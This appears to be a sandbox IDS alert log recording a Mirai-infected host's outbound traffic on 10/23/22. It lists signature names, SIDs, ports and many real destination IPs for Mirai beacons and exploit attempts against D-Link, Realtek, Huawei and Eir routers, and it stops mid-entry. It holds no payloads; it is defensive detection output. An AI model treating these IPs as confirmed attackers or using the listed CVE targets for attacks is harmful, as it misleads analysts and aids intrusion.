ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.0.234.35

Timestamp:	192.168.2.2395.0.234.3537934802027121 10/23/22-17:57:57.716202
SID:	2027121
Source Port:	37934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.94.201.71

Timestamp:	192.168.2.23213.94.201.7142222802846380 10/23/22-17:57:18.646359
SID:	2846380
Source Port:	42222
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.56.225.177

Timestamp:	192.168.2.2395.56.225.17739400802027121 10/23/22-17:57:25.955765
SID:	2027121
Source Port:	39400
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.232.160.142

Timestamp:	192.168.2.23156.232.160.14242154802841623 10/23/22-17:58:03.912064
SID:	2841623
Source Port:	42154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.182.235

Timestamp:	192.168.2.2388.221.182.23551106802027121 10/23/22-17:58:32.660992
SID:	2027121
Source Port:	51106
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.215.177.142

Timestamp:	192.168.2.2395.215.177.14245136802027121 10/23/22-17:58:15.265611
SID:	2027121
Source Port:	45136
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.228.41.145

Timestamp:	192.168.2.2385.228.41.14559924802846457 10/23/22-17:58:26.402621
SID:	2846457
Source Port:	59924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.60.192

Timestamp:	192.168.2.2388.221.60.19256346802027121 10/23/22-17:58:10.564137
SID:	2027121
Source Port:	56346
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 35.76.110.77

Timestamp:	192.168.2.2335.76.110.7749512802835221 10/23/22-17:57:43.028125
SID:	2835221
Source Port:	49512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 176.31.131.50

Timestamp:	192.168.2.23176.31.131.5048328802835221 10/23/22-17:57:42.978234
SID:	2835221
Source Port:	48328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.23.178.77

Timestamp:	192.168.2.232.23.178.7735356802846457 10/23/22-17:57:03.750109
SID:	2846457
Source Port:	35356
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.237.29.81

Timestamp:	192.168.2.23122.237.29.8151658528692027339 10/23/22-17:58:36.025892
SID:	2027339
Source Port:	51658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.114.128.136

Timestamp:	192.168.2.23178.114.128.13644374802846380 10/23/22-17:56:49.724019
SID:	2846380
Source Port:	44374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.155.207.17

Timestamp:	192.168.2.23164.155.207.1733602528692027339 10/23/22-17:58:36.207886
SID:	2027339
Source Port:	33602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.59.179.112

Timestamp:	192.168.2.2395.59.179.11236332802027121 10/23/22-17:58:07.461025
SID:	2027121
Source Port:	36332
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.252.157.174

Timestamp:	192.168.2.2389.252.157.17443302802846457 10/23/22-17:58:10.307732
SID:	2846457
Source Port:	43302
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.25.21

Timestamp:	192.168.2.2395.216.25.2137636802027121 10/23/22-17:58:15.276581
SID:	2027121
Source Port:	37636
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.220.207.231

Timestamp:	192.168.2.2361.220.207.23139504802846457 10/23/22-17:57:31.808963
SID:	2846457
Source Port:	39504
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.94.147.215

Timestamp:	192.168.2.2380.94.147.21537666802846380 10/23/22-17:57:51.816472
SID:	2846380
Source Port:	37666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.123.231.140

Timestamp:	192.168.2.23195.123.231.14047156802846457 10/23/22-17:56:43.217353
SID:	2846457
Source Port:	47156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.10.33.121

Timestamp:	192.168.2.2386.10.33.12149246802846380 10/23/22-17:57:33.283670
SID:	2846380
Source Port:	49246
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.251.20.55

Timestamp:	192.168.2.2389.251.20.5552836802846457 10/23/22-17:57:07.112689
SID:	2846457
Source Port:	52836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.240.40.251

Timestamp:	192.168.2.23156.240.40.25156694802841623 10/23/22-17:58:37.551895
SID:	2841623
Source Port:	56694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.211.100.25

Timestamp:	192.168.2.23195.211.100.2560994802846457 10/23/22-17:58:30.765652
SID:	2846457
Source Port:	60994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.100.18.49

Timestamp:	192.168.2.2382.100.18.4933506802846380 10/23/22-17:57:07.294407
SID:	2846380
Source Port:	33506
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.10.28

Timestamp:	192.168.2.2388.221.10.2860992802027121 10/23/22-17:56:39.208604
SID:	2027121
Source Port:	60992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.55.52.51

Timestamp:	192.168.2.23195.55.52.5135300802841623 10/23/22-17:58:35.884313
SID:	2841623
Source Port:	35300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.118.219.78

Timestamp:	192.168.2.2384.118.219.7837654802846457 10/23/22-17:56:43.288482
SID:	2846457
Source Port:	37654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.32.17.157

Timestamp:	192.168.2.23178.32.17.15748436802846380 10/23/22-17:56:49.720400
SID:	2846380
Source Port:	48436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.150.237.128

Timestamp:	192.168.2.2337.150.237.12854910802846457 10/23/22-17:56:51.926567
SID:	2846457
Source Port:	54910
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.55.233.224

Timestamp:	192.168.2.2395.55.233.22439874802027121 10/23/22-17:57:54.655648
SID:	2027121
Source Port:	39874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.77.251.7

Timestamp:	192.168.2.2388.77.251.737246802027121 10/23/22-17:58:02.129377
SID:	2027121
Source Port:	37246
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.196.15.184

Timestamp:	192.168.2.2382.196.15.18440920802846380 10/23/22-17:58:04.014303
SID:	2846380
Source Port:	40920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.61.47.203

Timestamp:	192.168.2.23200.61.47.20360720802846380 10/23/22-17:57:14.220148
SID:	2846380
Source Port:	60720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.166.146.209

Timestamp:	192.168.2.2383.166.146.20951662802846380 10/23/22-17:57:22.143981
SID:	2846380
Source Port:	51662
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.32.122.129

Timestamp:	192.168.2.23195.32.122.12946140802846457 10/23/22-17:56:43.219777
SID:	2846457
Source Port:	46140
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.8.104.83

Timestamp:	192.168.2.2376.8.104.8342736802841623 10/23/22-17:58:11.415337
SID:	2841623
Source Port:	42736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.64.109

Timestamp:	192.168.2.2385.214.64.10940076802846457 10/23/22-17:57:16.979849
SID:	2846457
Source Port:	40076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.17.94.131

Timestamp:	192.168.2.232.17.94.13135892802846457 10/23/22-17:57:28.759198
SID:	2846457
Source Port:	35892
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.177.110.249

Timestamp:	192.168.2.23181.177.110.24940790802846380 10/23/22-17:57:48.710725
SID:	2846380
Source Port:	40790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.14.52

Timestamp:	192.168.2.2388.99.14.5255250802027121 10/23/22-17:58:19.560079
SID:	2027121
Source Port:	55250
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.208.61.118

Timestamp:	192.168.2.23200.208.61.11841710802846380 10/23/22-17:58:22.247873
SID:	2846380
Source Port:	41710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 188.232.165.107

Timestamp:	192.168.2.23188.232.165.1074168875472835222 10/23/22-17:58:21.213326
SID:	2835222
Source Port:	41688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.244.32.164

Timestamp:	192.168.2.23156.244.32.16440912802841623 10/23/22-17:58:25.695789
SID:	2841623
Source Port:	40912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.2.88.85

Timestamp:	192.168.2.235.2.88.8552354802846457 10/23/22-17:57:02.927723
SID:	2846457
Source Port:	52354
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.116.147.141

Timestamp:	192.168.2.2388.116.147.14157218802027121 10/23/22-17:56:54.889745
SID:	2027121
Source Port:	57218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.46.58.171

Timestamp:	192.168.2.23164.46.58.17147272802846457 10/23/22-17:57:22.797573
SID:	2846457
Source Port:	47272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.102.13.102

Timestamp:	192.168.2.2382.102.13.10236816802846380 10/23/22-17:58:06.181287
SID:	2846380
Source Port:	36816
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.161.195.99

Timestamp:	192.168.2.2389.161.195.9949878802846457 10/23/22-17:57:38.016792
SID:	2846457
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.113.91

Timestamp:	192.168.2.2388.99.113.9154952802027121 10/23/22-17:57:47.238141
SID:	2027121
Source Port:	54952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.195.140.206

Timestamp:	192.168.2.2385.195.140.20635646802846457 10/23/22-17:57:00.397651
SID:	2846457
Source Port:	35646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.12.56.70

Timestamp:	192.168.2.2349.12.56.7033412802841623 10/23/22-17:57:28.381541
SID:	2841623
Source Port:	33412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.175.10.198

Timestamp:	192.168.2.23112.175.10.19835010802027121 10/23/22-17:58:25.691640
SID:	2027121
Source Port:	35010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 54.246.138.241

Timestamp:	192.168.2.2354.246.138.24149212802835221 10/23/22-17:57:01.124424
SID:	2835221
Source Port:	49212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.147.135.112

Timestamp:	192.168.2.2388.147.135.11252966802027121 10/23/22-17:57:59.913056
SID:	2027121
Source Port:	52966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 86.189.206.34

Timestamp:	192.168.2.2386.189.206.344114275472023548 10/23/22-17:58:01.539645
SID:	2023548
Source Port:	41142
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.116.239.154

Timestamp:	192.168.2.2388.116.239.15456274802027121 10/23/22-17:56:51.027716
SID:	2027121
Source Port:	56274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.205.105.230

Timestamp:	192.168.2.23178.205.105.23042748802846380 10/23/22-17:57:09.510951
SID:	2846380
Source Port:	42748
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.209.205.155

Timestamp:	192.168.2.2395.209.205.15544816802027121 10/23/22-17:57:25.764452
SID:	2027121
Source Port:	44816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.216.231.128

Timestamp:	192.168.2.2388.216.231.12838162802027121 10/23/22-17:58:07.287651
SID:	2027121
Source Port:	38162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.248.147.167

Timestamp:	192.168.2.23213.248.147.16737714802846380 10/23/22-17:56:47.038896
SID:	2846380
Source Port:	37714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 69.161.149.209

Timestamp:	192.168.2.2369.161.149.20935726802835222 10/23/22-17:58:21.288857
SID:	2835222
Source Port:	35726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.130.113.111

Timestamp:	192.168.2.2346.130.113.11139804802846457 10/23/22-17:58:15.493956
SID:	2846457
Source Port:	39804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.229.106.151

Timestamp:	192.168.2.23213.229.106.15140178802846380 10/23/22-17:56:42.732531
SID:	2846380
Source Port:	40178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.229.211.229

Timestamp:	192.168.2.23156.229.211.22939640802835221 10/23/22-17:57:28.747625
SID:	2835221
Source Port:	39640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.252.137.22

Timestamp:	192.168.2.2380.252.137.2243862802846380 10/23/22-17:58:25.099678
SID:	2846380
Source Port:	43862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.129.250.18

Timestamp:	192.168.2.2395.129.250.1842282802027121 10/23/22-17:56:48.880433
SID:	2027121
Source Port:	42282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.150.190.252

Timestamp:	192.168.2.2380.150.190.25254436802846457 10/23/22-17:57:32.436895
SID:	2846457
Source Port:	54436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.66.210.180

Timestamp:	192.168.2.23195.66.210.18059592802846457 10/23/22-17:58:21.688404
SID:	2846457
Source Port:	59592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.25.143.232

Timestamp:	192.168.2.23197.25.143.23243680802841623 10/23/22-17:57:01.386185
SID:	2841623
Source Port:	43680
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.136.2.237

Timestamp:	192.168.2.2383.136.2.23745490802846380 10/23/22-17:57:15.823067
SID:	2846380
Source Port:	45490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.56.81.21

Timestamp:	192.168.2.2395.56.81.2141436802027121 10/23/22-17:57:10.506857
SID:	2027121
Source Port:	41436
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.90.62.139

Timestamp:	192.168.2.2380.90.62.13958766802846380 10/23/22-17:58:25.058870
SID:	2846380
Source Port:	58766
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.57.98.135

Timestamp:	192.168.2.23181.57.98.13559810802846380 10/23/22-17:56:47.476510
SID:	2846380
Source Port:	59810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.174.148.161

Timestamp:	192.168.2.23200.174.148.16147054802846380 10/23/22-17:58:22.686788
SID:	2846380
Source Port:	47054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.163.225.147

Timestamp:	192.168.2.2389.163.225.14736418802846457 10/23/22-17:57:38.008988
SID:	2846457
Source Port:	36418
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.81.42.107

Timestamp:	192.168.2.2373.81.42.10756262802841623 10/23/22-17:57:07.567330
SID:	2841623
Source Port:	56262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.249.39.35

Timestamp:	192.168.2.2388.249.39.3548116802027121 10/23/22-17:56:55.724106
SID:	2027121
Source Port:	48116
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.138.108.38

Timestamp:	192.168.2.2378.138.108.3835180802846457 10/23/22-17:57:47.779270
SID:	2846457
Source Port:	35180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.189.155.182

Timestamp:	192.168.2.235.189.155.18238420802846457 10/23/22-17:58:39.952224
SID:	2846457
Source Port:	38420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.155.149

Timestamp:	192.168.2.2385.128.155.14947928802846457 10/23/22-17:57:58.561807
SID:	2846457
Source Port:	47928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.183.37.89

Timestamp:	192.168.2.2395.183.37.8950146802027121 10/23/22-17:57:21.058132
SID:	2027121
Source Port:	50146
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.237.54.96

Timestamp:	192.168.2.2385.237.54.9639018802846457 10/23/22-17:58:26.432249
SID:	2846457
Source Port:	39018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.205.138

Timestamp:	192.168.2.2388.208.205.13840348802027121 10/23/22-17:58:35.005809
SID:	2027121
Source Port:	40348
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.143.29.58

Timestamp:	192.168.2.23178.143.29.5842854802846380 10/23/22-17:58:13.493328
SID:	2846380
Source Port:	42854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.168.174.240

Timestamp:	192.168.2.23185.168.174.24038086802841623 10/23/22-17:58:11.394085
SID:	2841623
Source Port:	38086
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.213.12.102

Timestamp:	192.168.2.23156.213.12.10237264802835221 10/23/22-17:58:14.113045
SID:	2835221
Source Port:	37264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.150.118

Timestamp:	192.168.2.2395.179.150.11842026802027121 10/23/22-17:56:48.741536
SID:	2027121
Source Port:	42026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.128.178.31

Timestamp:	192.168.2.23178.128.178.3145572802846380 10/23/22-17:58:27.560480
SID:	2846380
Source Port:	45572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.27.227.128

Timestamp:	192.168.2.2395.27.227.12840530802027121 10/23/22-17:57:28.487376
SID:	2027121
Source Port:	40530
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.23.51.104

Timestamp:	192.168.2.235.23.51.10434274802846457 10/23/22-17:57:53.331368
SID:	2846457
Source Port:	34274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.95.220.199

Timestamp:	192.168.2.2386.95.220.19935952802846380 10/23/22-17:57:01.321400
SID:	2846380
Source Port:	35952
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.96.110.193

